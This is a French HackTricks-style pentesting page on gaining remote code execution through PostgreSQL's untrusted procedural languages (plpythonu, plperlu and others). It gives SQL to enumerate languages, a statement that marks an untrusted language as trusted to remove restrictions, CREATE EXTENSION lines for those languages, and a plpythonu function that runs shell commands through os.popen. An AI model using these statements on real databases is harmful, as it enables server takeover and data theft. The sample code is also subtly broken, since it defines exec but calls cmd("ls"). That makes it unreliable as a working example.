RCE avec les langages PostgreSQL

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Langages PostgreSQL

La base de données PostgreSQL à laquelle vous avez accÚs peut avoir différents langages de script installés que vous pourriez exploiter pour exécuter du code arbitraire.

Vous pouvez les faire fonctionner :

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

La plupart des langages de script que vous pouvez installer dans PostgreSQL ont 2 saveurs : la fiable et la non fiable. La non fiable aura un nom se terminant par "u" et sera la version qui vous permettra d'exécuter du code et d'utiliser d'autres fonctions intéressantes. Voici des langages qui, s'ils sont installés, sont intéressants :

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (tout autre langage de programmation utilisant une version non sĂ©curisĂ©e)

warning

Si vous constatez qu'un langage intéressant est installé mais non fiable par PostgreSQL (lanpltrusted est false), vous pouvez essayer de lui faire confiance avec la ligne suivante afin qu'aucune restriction ne soit appliquée par PostgreSQL :

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Pour vérifier vos permissions sur la table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Si vous ne voyez pas un langage, vous pouvez essayer de le charger avec (vous devez ĂȘtre superadmin) :

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Notez qu'il est possible de compiler les versions sĂ©curisĂ©es en tant que "non sĂ©curisĂ©es". Consultez ceci par exemple. Il vaut donc toujours la peine d'essayer si vous pouvez exĂ©cuter du code mĂȘme si vous ne trouvez que la version fiable installĂ©e.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

VĂ©rifiez la page suivante :

PL/pgSQL Password Bruteforce

C

VĂ©rifiez la page suivante :

RCE with PostgreSQL Extensions

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks